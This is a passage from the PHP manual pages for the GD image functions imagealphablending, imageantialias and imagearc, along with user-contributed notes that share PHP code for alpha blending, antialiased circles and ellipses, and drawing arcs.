                $dstG = (($ovrG * (0xFF-$ovrA)) >> 8) + (($dstG * $ovrA) >> 8);
                $dstB = (($ovrB * (0xFF-$ovrA)) >> 8) + (($dstB * $ovrA) >> 8);
                $change = true;
            }
            if($change)
            {
                $dstRGB = imagecolorallocatealpha($destImg, $dstR, $dstG, $dstB, 0);
                imagesetpixel($destImg, $x, $y, $dstRGB);
            }

        }
    }
    return $destImg;
}
roONLYycoLOWERCAneSEjo at gmail dot com 21-Nov-2006 10:35
Roy Conejo says:

I' had to "per-pixel alpha blend" an image into a solid background, as seen on the very concise example from "barnabas at kendall dot NOSPAM dot net": an alpha blended .png logo on a .jpg photograph. The problem was... it doesn't worked out at all here (why? T_T).

Note that I'm using just the source alpha to determine how much colour from source and destination will be present on the final pixel... and that I've to multiply the alpha value (0 - 127) by 2 because I need it to be 8 bits for the calculations.

I think the code is pretty fast, no decimals, no rounding, no unnecesary coding. Bound checking or clipping could be implemented if you really need to.

I hope it helps someone on my same situation ^.^

<?php

    ## BEGIN of function alpha_blending -------------------------------------------
    function
    alpha_blending ($dest, $source, $dest_x, $dest_y) {

        ## lets blend source pixels with source alpha into destination =)
        for ($y = 0; $y < imagesy($source); $y++) {
            for ($x = 0; $x < imagesx($source); $x++) {

                $argb_s = imagecolorat ($source    ,$x            ,$y);
                $argb_d = imagecolorat ($dest    ,$x+$dest_x    ,$y+$dest_y);

                $a_s    = ($argb_s >> 24) << 1; ## 7 to 8 bits.
                $r_s    =  $argb_s >> 16     & 0xFF;
                $g_s    =  $argb_s >>  8    & 0xFF;
                $b_s    =  $argb_s            & 0xFF;

                $r_d    =  $argb_d >> 16    & 0xFF;
                $g_d    =  $argb_d >>  8    & 0xFF;
                $b_d    =  $argb_d            & 0xFF;

                ## source pixel 100% opaque (alpha == 0)
                if ($a_s == 0) {
                    $r_d = $r_s; $g_d = $g_s; $b_d = $b_s;
                }
                ## source pixel 100% transparent (alpha == 255)
                else if ($a_s > 253) {
                ## using source alpha only, we have to mix (100-"some") percent
                ## of source with "some" percent of destination.
                } else {
                    $r_d = (($r_s * (0xFF-$a_s)) >> 8) + (($r_d * $a_s) >> 8);
                    $g_d = (($g_s * (0xFF-$a_s)) >> 8) + (($g_d * $a_s) >> 8);
                    $b_d = (($b_s * (0xFF-$a_s)) >> 8) + (($b_d * $a_s) >> 8);
                }

                $rgb_d = imagecolorallocatealpha ($dest, $r_d, $g_d, $b_d, 0);
                imagesetpixel ($dest, $x, $y, $rgb_d);
            }
        }
    }
    ## END of function alpha_blending -------------------------------------------

    ## let's start loading images as usual...
    $source = imagecreatefrompng ('logo.png');
    $dest    = imagecreatefromjpg ('photo.jpg');

    ## alpha blend $source into $dest starting at 10, 5.
    alpha_blending ($dest, $source, 10, 5);

    ## here you'll have to save "$dest" or send it to the browser...
    ##

    imagedestroy ($source);
    imagedestroy ($dest);

?>

eof =p
Raisul Kabir Ruman 01-Sep-2006 05:45
In the previous message, I found it is working perfect. But, it can be done a lot easily, as is described by the first message by "barnabas at kendall dot NOSPAM dot net". Though, it don't work totally, instead of using imageAlphaBlending, you have to use imageSaveAlpha

So, I found the corrected and smalled code would be

<?php
$im_a = @imagecreatefrompng("a.png");
$im_c = @imagecreatefrompng("c.png");
imageSaveAlpha($im_c, true);

imagecopy($im_c,$im_a,0,0,0,0,200,200);
header("Content-type: image/png");
imagepng($im_c);
?>
luke dot stanley at gmail dot com 21-Aug-2006 01:30
"If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:"

dscharrer at gmail dot com offered this without a use example, so here is one:

<?

$flag = imagecreatefrompng('a.png');
$mask = imagecreatefrompng('b.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);
$i= array($flag, $mask); // here is the array of images, using the above specified $flag and $mask images

$s = imagemergealpha($i);

header("Content-type: image/png");
imagepng($s);

//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
   $ta = imagecolorat($d[1],$x,$y);
   $ta = imagecolorsforindex($d[1],$ta);
   $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}

?>
ashita at profund dot hu 05-Oct-2005 02:41
For "webmaster at nweurosport dot com" :

Currently IE does not support 24 (+8 alpha) bit PNG-s (nor any kind of transparent images). Mozilla and Opera handle them correctly.
Jakub Argasiñski 05-Jun-2005 11:53
I have been looking around for a while to find a script which does the following: generates image with text using specified font with given color, but with totally transparent background (by alpha-channnel, not via color transparency). Finally, I have created the script by myself. It's just a rough idea how to do it.

<?php
$tekst = "This is a test message\nza¿ó³æ gê¶l± ja¼ñ!\nZA¯Ó£Æ GÊ¦L¡ JA¬Ñ?";

$h = 9;

$size = imageTTFBBox($h, 0, "arial.ttf", $tekst);
$image = imageCreateTrueColor(abs($size[2]) + abs($size[0]), abs($size[7]) + abs($size[1]));
imageSaveAlpha($image, true);
ImageAlphaBlending($image, false);

$tlo = imagecolorallocatealpha($image, 220, 220, 220, 127);
imagefill($image, 0, 0, $tlo);

$napis = imagecolorallocate($image, 220, 220, 220);
imagettftext($image, $h, 0, 0, abs($size[5]), $napis, "arial.ttf", $tekst);
imagepng($image, "output.png");
imagedestroy($image);

?>
<html>
<head>
</head>
<body bgcolor="#808080">
<img src="output.png" alt="">
</body>
</html>
webmaster at nweurosport dot com 17-Feb-2005 01:00
When saving images for use in transparent overlays like the logo addition mentioned above I've found that it is not succesful with PNG-24, only GIF and PNG-8.  I've had great success with PNG-8's.
dscharrer at gmail dot com 23-Dec-2004 02:32
If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:

<?
//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
    $ta = imagecolorat($d[1],$x,$y);
    $ta = imagecolorsforindex($d[1],$ta);
    $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}
?>
joe AT cerberon DOT net 01-Mar-2004 05:02
Note that alpha blending must be enabled to render antialiased text in true color mode.

For OLDER versions of PHP and/or GD (e.g. which comes with Debian woody) alpha blending is DISABLED by default and it is ENABLED for NEWER versions.
www.deebster.com 17-Nov-2003 03:12
Your target image resource not must be paletted if you want to use blending.

This means using ImageCreateTrueColor() rather than ImageCreate().

(If your source is e.g. a jpeg and you've used ImageCreateFromJPEG(), the above is irrelevant.)
boo at php dot net 30-Jun-2003 02:18
Notice that AlphaBlending is ON by default.
So, only use this function if you don't want to use AlphaBlending.
tcarter at roundcorners dot com 13-Feb-2002 07:55
If you are saving an image as PNG with transparency then saving it as a PNG-8 will give it transparency in the same way GIF has, but that won't work with this function.

For this function to work the image needs to have an alpha channel (obviously really when you think about it), so make sure you save as PNG-24
barnabas at kendall dot NOSPAM dot net 11-Oct-2001 05:56
If you are trying to copy a transparant image on to another image, you might assume that you should apply the ImageAlphaBlending function to the image that has the transparancy, the source image. In reality, you must apply the ImageAlphaBlending function to the destination image. Basically it's saying, "make the specified image respect transparancy".

Here's a real world example. Suppose you want to put your logo on the upper left corner of a photograph. Your logo is a PNG with transparancy, and the photo is a JPEG. Here's what you would do:

<?php
$photoImage = ImageCreateFromJPEG('photo.jpg');
ImageAlphaBlending($photoImage, true);

$logoImage = ImageCreateFromPNG('logo.png');
$logoW = ImageSX($logoImage);
$logoH = ImageSY($logoImage);

ImageCopy($photoImage, $logoImage, 0, 0, 0, 0, $logoW, $logoH);

ImageJPEG($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($logoImage);
?>
image2wbmp
imageantialias
GD and Image Functions


Should antialias functions be used or not

imagealphablending
imagearc
GD and Image Functions
PHP Manual

imageantialias

(PHP 4 >= 4.3.2, PHP 5)

imageantialias — Should antialias functions be used or not

Description

bool imageantialias ( resource $image , bool $enabled )

Activate the fast drawing antialiased methods for lines and wired polygons. It does not support alpha components. It works using a direct blend operation. It works only with truecolor images.

Thickness and styled are not supported.

Using antialiased primitives with transparent background color can end with some unexpected results. The blend method uses the background color as any other colors. The lack of alpha component support does not allow an alpha based antialiasing method.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

enabled

Whether to enable antialiasing or not.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A comparison of two lines, one with anti-aliasing switched on

<?php
// Setup an anti-aliased image and a normal image
$aa = imagecreatetruecolor(400, 100);
$normal = imagecreatetruecolor(200, 100);

// Switch antialiasing on for one image
imageantialias($aa, true);

// Allocate colors
$red = imagecolorallocate($normal, 255, 0, 0);
$red_aa = imagecolorallocate($aa, 255, 0, 0);

// Draw two lines, one with AA enabled
imageline($normal, 0, 0, 200, 100, $red);
imageline($aa, 0, 0, 200, 100, $red_aa);

// Merge the two images side by side for output (AA: left, Normal: Right)
imagecopymerge($aa, $normal, 200, 0, 0, 0, 200, 100, 100);

// Output image
header('Content-type: image/png');

imagepng($aa);
imagedestroy($aa);
imagedestroy($normal);
?>

The above example will output something similar to:

Output of example : A comparison of two lines, one with anti-aliasing switched on

Notes

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

See Also

  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

verdy_p at wanadoo dot fr 04-Jan-2010 01:27
There's a minor edit bug in those lines in the fast algorithm ("20 times faster"):

            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );

the reference to "$ix" in the parameters of each call (just before the ", $fill " parameter) should be sometimes "$iy".

This algorithm uses the Bresenham midpoint algorithm for circles, but computing successive pixels positions ($ix, $iy) incrementally in the first octant, relative to the circle center ($cx, $cy), then applying the 8 symetries by swapping them or changing signs.

A similar algorithm exists for ellipses: it uses quadrants symetries instead of octants when the ellipse focal axis is aligned or orthogonal to the two image axis, be subdividing each quadrant in two regions (deminited by the point on the arc where the tangent has a unitary slope).

For general ellipses (rotated arbitrarily in the plane), there are also 4 quadrants symetries, but they are a bit more complex to compute, as you need to compute the rotations, for this reason you'll only be able to use 2 symetries, but the incremental algorithm still exists: you may think that this would be based on the evaluation of the sum of lengths from the two focal points, which is contant; however the sum of two distance cannot be squared so easily (you would need to compute the square of both distances, then take their respective square root before adding them and testing the difference with the exact length. A cleaner solution uses NURBS (Non-Uniform Rational B-splines) because they are numerically stable and still very fast to compute (you only need some floatting point for the knot constants that separate each quadrant, which is then computed using a simple quadratic parametric equation of the ellipse instead of the implicit equation, given that the quadratic (polynomial) equation has first and scond derivatives that are easy to bound in order to get the needed precision and reduce the number of unnecessary pixel plots : such the parametric eqaution will draw points along the arc with a movement speed varying between 1 and 4 subpixel distance per incremental step, but in fact only between 1 and 2 subpixels when you subdivide the quadrant in two regions).

Alternatively, you may also draw an antialised "straight" ellipse with a double resolution, and then rotate the antiliased image while also rescale it at half size, and at the same time combining it to the target: depending on implementations (and computing language used), it may be faster (but it may require more memory for the intermediate image at scale 2)...
dsl101 31-Jul-2009 08:48
Having tried long and hard to get a decent antialiased circle function, I finally gave in a wrote something from scratch. Its very very naive - basically examining every single pixel in the enclosing square, but as a result produces very nice antialiasing, with decent control over stroke width, antialiasing amount and tightness of antialiasing. I'm sure it could be optimised considerably, but it was fast enough for what I was doing. Hope its of some use.

<?php

function imagecircleaa($img, $cx, $cy, $r, $w, $s, $t, $color) // image, centerX, centerY, radius, stroke width, aa width, tightness, color
{
    $adj = $w + $s;
    $sCol = imagecolorallocate($img, $color['r'], $color['g'], $color['b']);
    for($x = -$r - $adj; $x <= $r + $adj; $x++)
    {
        for($y = -$r - $adj; $y <= $r + $adj; $y++)
        {
            $d = sqrt($x * $x + $y * $y); // distance from pixel to center
            $err = abs($d - $r); // absolute distance from pixel to circle edge
            if($err <= $w / 2 + $s) // within the stroke width + smoothing radius
            {
                if($err <= $w / 2) // inside the stroke width so make it solid color
                {
                    $aaCol = $sCol;
                }
                else // in the antialisaing region so make it a blended color
                {
                    $err -= $w / 2; // adjust to the aliased part
                    $err = 1 - $err / $s; // adjust to between 0 and 1
                    $err = ($err - 0.5) * $t * 2; // adjust to -$t to +$t for tightness
                    $err = ($err / sqrt(1 + $err * $err) + 1) / 2; // sigmoid curve to smooth edges
                    $rgb = imagecolorat($img, $x + $cx, $y + $cy); // Get current background color
                    $rB = ($rgb >> 16) & 0xFF;
                    $gB = ($rgb >> 8) & 0xFF;
                    $bB = $rgb & 0xFF;
                    $rDelta = ($rB - $color['r']); // change in Red from background
                    $rComp = $rB - $rDelta * $err; // mix Red
                    $gDelta = ($gB - $color['g']); // change in Red from background
                    $gComp = $gB - $gDelta * $err; // mix Red
                    $bDelta = ($bB - $color['b']); // change in Red from background
                    $bComp = $bB - $bDelta * $err; // mix Red
                    $aaCol = imagecolorallocate($img, $rComp, $gComp, $bComp);
                }
                imagesetpixel($img, $x + $cx, $y + $cy, $aaCol);
            }
        }
    }
}

$img = imagecreatetruecolor(500,500);

$cBlack = imagecolorallocate($img, 0, 0, 0);
$cGrey = imagecolorallocate($img, 120, 120, 120);
$cWhite = imagecolorallocate($img, 255, 255, 255);

imagefill($img, 0, 0, $cWhite);
imagepolygon($img, array(0, 0,200, 0, 200, 200, 0, 200), 4, cBlack);

$aWhite = array('r'=>255, 'g'=>255, 'b'=>255);
$aBlack = array('r'=>0, 'g'=>0, 'b'=>0);
$aRed = array('r'=>200, 'g'=>0, 'b'=>0);
$aGreen = array('r'=>0, 'g'=>200, 'b'=>0);
$aBlue = array('r'=>0, 'g'=>0, 'b'=>255);

// standard ellipse function for comparison
imageellipse($img, 100, 100, 50, 50, $cBlack);

// compare different tightnesses - good values are between 2 and 8
// note overall width is stroke width + 2 * aa width (e.g. 12 pixels below)
imagecircleaa($img, 50, 50, 25, 2, 5, 2, $aBlue);
imagecircleaa($img, 50, 150, 25, 2, 5, 8, $aBlue);

// different coloured background to show blending
imagefilledrectangle($img, 150,150, 200, 200, $cGrey);
imagecircleaa($img, 150, 150, 25, 3, 2, 2, $aRed);

// overlapping circles still aa nicely, although the colour blending algorithm produces quite dark intermediate shades
imagecircleaa($img, 150, 60, 25, 2, 3, 2, $aBlue);
imagecircleaa($img, 150, 50, 25, 2, 3, 2, $aGreen);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
Godfather of Image Processing 22-Feb-2007 10:05
Of course, this IS a way to do antialiasing. Graphiccards do so. But for good results you should use at least a 4 times bigger source image than the destination to scale down. This is a 16 times higher fillrate. If you only use the proposed doublesized image, quality is still poor...
padigan 06-Feb-2007 03:13
If you can't be bothered creating (or searching for) a full screen antialias function.
You can actually cheat (well a bit of a dirty inefficient hack really!!)
and perform a fake antialias on an image by using 'imagecopyresampled'...

first create your source image twice the size of what you really want.

Then use 'imagecopyresampled' to shrink it to half the size, the function
automatically interpolates pixels to create an antialias effect!

I've used this in a pie chart function and it works brilliantly,
not as slow as I thought it might be!

the rough code below should give you the idea...

<?php
$realWidth = 500;
$realHeight = 500;
$srcWidth = $realWidth * 2;
$srcHeight = $realHeight * 2;

// create the larger source image
$srcImage = imagecreatetruecolor($srcWidth,$srcHeight);

// create the real/final image
$destImage = imagecreatetruecolor($realWidth,$realHeight);

// now do whatever you want to draw in the source image
// blah....

// now the picture is finished, do the shrink...
imagecopyresampled($destImage,$srcImage,0,0,0,0,
$realWidth,$realHeight,$srcWidth,$srcHeight);

// now just do whatever you want with '$destImage' (e.g. display or output to file!)
?>
Ulrich Mierendorff 10-Aug-2006 12:39
I've written a php function which draws antialiased and filled elliptic arcs (segments of ellipses or full ellipses). It does not require the imageantialias function of php!
It's available at
http://icewind.ic.funpic.de/index.php?content=ellipse
Best Regards,
Ulrich
php at 3d-box dot com 08-Jul-2006 09:55
This might help some people but I have created an antialiased, filled, ellipse function - the source for which is here:-

http://personal.3d-box.com/php/filledellipseaa.php

As the code is too much to put here!
n-dream at gmx dot ch 18-Feb-2006 10:18
The following function draws an AntiAliased (unfilled) Ellipse.
It is used just liked the nomral ImageEllipse function.
The optional parameter sets the number of segments...

function ImageEllipseAA( &$img, $x, $y, $w, $h,$color,$segments=70)
{
    $w=$w/2;
    $h=$h/2;
    $jump=2*M_PI/$segments;
    $oldx=$x+sin(-$jump)*$w;
    $oldy=$y+cos(-$jump)*$h;
    for($i=0;$i<2*(M_PI);$i+=$jump)
    {
        $newx=$x+sin($i)*$w;
        $newy=$y+cos($i)*$h;
        ImageLine($img,$newx,$newy,$oldx,$oldy,$color);
        $oldx=$newx;
        $oldy=$newy;
    }
}
klaas at kosmokrator dot com 15-Feb-2006 05:22
Here is an optimized version of the optimized version of the antialiased circle function by sebbi: (more than 20 times faster)...

<?php

    function imageSmoothCircle( &$img, $cx, $cy, $cr, $color ) {
        $ir = $cr;
        $ix = 0;
        $iy = $ir;
        $ig = 2 * $ir - 3;
        $idgr = -6;
        $idgd = 4 * $ir - 10;
        $fill = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 0 );
        imageLine( $img, $cx + $cr - 1, $cy, $cx, $cy, $fill );
        imageLine( $img, $cx - $cr + 1, $cy, $cx - 1, $cy, $fill );
        imageLine( $img, $cx, $cy + $cr - 1, $cx, $cy + 1, $fill );
        imageLine( $img, $cx, $cy - $cr + 1, $cx, $cy - 1, $fill );
        $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 42 );
        imageSetPixel( $img, $cx + $cr, $cy, $draw );
        imageSetPixel( $img, $cx - $cr, $cy, $draw );
        imageSetPixel( $img, $cx, $cy + $cr, $draw );
        imageSetPixel( $img, $cx, $cy - $cr, $draw );
        while ( $ix <= $iy - 2 ) {
            if ( $ig < 0 ) {
                $ig += $idgd;
                $idgd -= 8;
                $iy--;
            } else {
                $ig += $idgr;
                $idgd -= 4;
            }
            $idgr -= 4;
            $ix++;
            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );
            $filled = 0;
            for ( $xx = $ix - 0.45; $xx < $ix + 0.5; $xx += 0.2 ) {
                for ( $yy = $iy - 0.45; $yy < $iy + 0.5; $yy += 0.2 ) {
                    if ( sqrt( pow( $xx, 2 ) + pow( $yy, 2 ) ) < $cr ) $filled += 4;
                }
            }
            $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], ( 100 - $filled ) );
            imageSetPixel( $img, $cx + $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx + $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx + $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx + $iy, $cy - $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy - $ix, $draw );
        }
    }

    $img = imageCreateTrueColor( 320, 240 );

    imageSmoothCircle( $img, 160, 120, 100, array( 'R' => 0xCC, 'G' => 0x33, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 170, 110,  75, array( 'R' => 0xDD, 'G' => 0x66, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 180, 100,  50, array( 'R' => 0xEE, 'G' => 0x99, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 190,  90,  25, array( 'R' => 0xFF, 'G' => 0xCC, 'B' => 0x00 ) );

    header( 'Content-Type: image/png' );
    imagePNG( $img );

?>
voinic at NOSgmailPAM dot com 12-Jan-2006 02:22
The only trick I found to draw an antialiased polygon AND keep it transparent (to use them as overlays in google maps for example)... make two images and merge them. Order of operations is important and the transparency color of the final image must be set after the merge:

<?
header("Content-type: image/png");

$values = array(
           40,  50,  // Point 1 (x, y)
           20,  240, // Point 2 (x, y)
           60,  60,  // Point 3 (x, y)
           240, 20,  // Point 4 (x, y)
           50,  40,  // Point 5 (x, y)
           10,  10  // Point 6 (x, y)
           );

$im = imagecreate(250, 250);
$bg = imagecolorallocate($im, 255, 255, 255);

$im2 = imagecreatetruecolor(250, 250);
$bg2 = imagecolorallocate($im2, 255, 255, 255);
imagefilledrectangle($im2,0,0,249,249,$bg2);
imagecolortransparent($im2, $bg);
imageantialias($im2, true);
$c_red = imagecolorallocate($im2, 255, 0, 0);
imagepolygon($im2, $values, 6, $c_red);
imageantialias($im2, false);

imagecopymerge($im, $im2,0,0,0,0,250,250,50);

imagecolortransparent($im, $bg);
$c_red_alpha = imagecolorallocatealpha($im, 255, 0, 0, 60);
imagefilledpolygon($im, $values, 6, $c_red_alpha);

imagepng($im);
imagedestroy($im);
imagedestroy($im2);
?>
sebbi at conceptT dot com 26-Sep-2005 07:06
I did a search in google and got following url:
http://www.isocalc.com/tutorials/antialias.htm
With this tutorial I was able to write a function to convert this algorithm into php, the result for a filled circel is this:
<?php
function imagefilledcircleantialiased(&$im, $cx, $cy, $r, $fgcolor, $bgcolor) {
  $fgcolors = imagecolorsforindex($im,$fgcolor);
  $bgcolors = imagecolorsforindex($im,$bgcolor);
  for ( $x = $cx - $r; $x <= $cx + $r; $x++ ) {
    for ( $y = $cy - $r; $y <= $cy + $r; $y++ ) {
      $rx = $x - $cx; $ry = $y - $cy;
      $ir = sqrt(( $rx == 0 ? 0 : pow($rx - 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry - 0.5*abs($ry)/$ry, 2) ));
      $or = sqrt(( $rx == 0 ? 0 : pow($rx + 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry + 0.5*abs($ry)/$ry, 2) ));
      if ( $or <= $r ) {
        imagesetpixel($im, $x, $y, $fgcolor);
      }
      elseif ( $ir < $r ) {
        $filled = 0;
        for ( $xx = $x - 0.45; $xx < $x + 0.5; $xx+=0.1 ) {
          for ( $yy = $y - 0.45; $yy < $y + 0.5; $yy+=0.1 ) {
            $rxx = $xx - $cx; $ryy = $yy - $cy;
            if ( sqrt(pow($rxx, 2) + pow($ryy, 2)) < $r ) $filled++;
          }
        }
        $red = round($bgcolors['red'] + ( $fgcolors['red'] - $bgcolors['red'] ) * $filled / 100);
        $green = round($bgcolors['green'] + ( $fgcolors['green'] - $bgcolors['green'] ) * $filled / 100);
        $blue = round($bgcolors['blue'] + ( $fgcolors['blue'] - $bgcolors['blue'] ) * $filled / 100);
        imagesetpixel($im, $x, $y, imagecolorclosest($im, $red, $green, $blue));
      }
    }
  }
}

$width = 160;
$height = 200;
$r = 20;
$bgc = "651713";
$fgc = "b12b2c";

$im = imagecreate($width, $height);
$bgcolor = imagecolorallocate($im, hexdec(substr($bgc, 0, 2)), hexdec(substr($bgc, 2, 2)), hexdec(substr($bgc, 4, 2)));
for( $i = 0; $i < 100; $i++ ) {
    imagecolorallocate($im, ( hexdec(substr($fgc, 0, 2)) + $i*hexdec(substr($bgc, 0, 2))) / ($i + 1), ( hexdec(substr($fgc, 2, 2)) + $i*hexdec(substr($bgc, 2, 2))) / ($i + 1), ( hexdec(substr($fgc, 4, 2)) + $i*hexdec(substr($bgc, 4, 2))) / ($i + 1));
}
$fgcolor = imagecolorclosest($im, hexdec(substr($fgc, 0, 2)), hexdec(substr($fgc, 2, 2)), hexdec(substr($fgc, 4, 2)));

imagefilledcircleantialiased($im, 80, 100, $r, $fgcolor, $bgcolor);

header("Content-Type: image/png");
imagepng($im);
?>
An improvement would be to draw the inner rectangle or more rectangles in the circle with the builtin rectangle function to reduce the usage of imagesetpixel() from (2*r)^2 to 2*Pi*(r + epsilon), in other words, the dependency on r would break down from square to linear.
Another improvement would be to determine filled and unfilled triangles in the observed pixel and calculate their areas, so we can get rid of the inner loops for getting the fraction filled/unfilled.
One can easily modify this function to solve other problems like lines, unfilled circles, etc.
trimbo 06-Sep-2005 12:25
So far using PHP 5.0.4 I've managed to get Imageantialias() to work well with:
ImageLine()
ImagePolygon()

but not with:
ImageArc()
ImageEllipse()
ImageFilled*()

You can still draw antialiased filled polygons by drawing a hollow polygon on top of a filled one with the same dimensions:
<?php
        $points=array($x,$y, $x2,$y2, $x3,$y3);
        imageFilledPolygon($im, $points, 3, $gray );
        imagePolygon($im, $points, 3, $gray );
?>
imagealphablending
imagearc
GD and Image Functions


Draws an arc

imageantialias
imagechar
GD and Image Functions
PHP Manual

imagearc

(PHP 4, PHP 5)

imagearc — Draws an arc

Description

bool imagearc ( resource $image , int $cx , int $cy , int $width , int $height , int $start , int $end , int $color )

imagearc() draws an arc of circle centered at the given coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

cx

x-coordinate of the center.

cy

y-coordinate of the center.

width

The arc width.

height

The arc height.

start

The arc start angle, in degrees.

end

The arc end angle, in degrees. 0° is located at the three-o'clock position, and the arc is drawn clockwise.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Drawing a circle with imagearc()

<?php

// create a 200*200 image
$img = imagecreatetruecolor(200, 200);

// allocate some colors
$white = imagecolorallocate($img, 255, 255, 255);
$red   = imagecolorallocate($img, 255,   0,   0);
$green = imagecolorallocate($img,   0, 255,   0);
$blue  = imagecolorallocate($img,   0,   0, 255);

// draw the head
imagearc($img, 100, 100, 200, 200,  0, 360, $white);
// mouth
imagearc($img, 100, 100, 150, 150, 25, 155, $red);
// left and then the right eye
imagearc($img,  60,  75,  50,  50,  0, 360, $green);
imagearc($img, 140,  75,  50,  50,  0, 360, $blue);

// output image in the browser
header("Content-type: image/png");
imagepng($img);

// free memory
imagedestroy($img);

?>

The above example will output something similar to:

Output of example : Drawing a circle with imagearc()

See Also

  • imagefilledarc() - Draw a partial arc and fill it
  • imageellipse() - Draw an ellipse
  • imagefilledellipse() - Draw a filled ellipse

User Contributed Notes

chandlerklebs at gmail dot com 07-Jan-2012 10:24
This is an example script I wrote for myself to help me learn how to used the imagearc functions. Maybe if will also help others.

<?php
//example PHP script of imagearc functions
$image_width=360;$image_height=360;
$img = imagecreatetruecolor($image_width,$image_height); //make image variable

//create a background color by making a filled rectangle
$color = imagecolorallocate($img,255,255,255);
imagefilledrectangle($img,0,0,$image_width,$image_height,$color);

$r=$image_width/2 - $image_width/32 ; //radius
$cx=$image_width/2;
$cy=$image_height/2;

$color = imagecolorallocate($img,0,0,0);
imagearc($img, $cx, $cy, $r*2, $r*2,  0, 360, $color); //regular outlines arc

imagefilledarc($img, $cx, $cy, $r*1, $r*1,  0, 90, $color,IMG_ARC_CHORD); //filled triangle with chord of circle
imagefilledarc($img, $cx, $cy, $r*1, $r*1,  180, 270, $color,IMG_ARC_PIE); //pie slice

$font_number=5; //can use built in fonts numbered 1 to 5
$string="Hello world!";
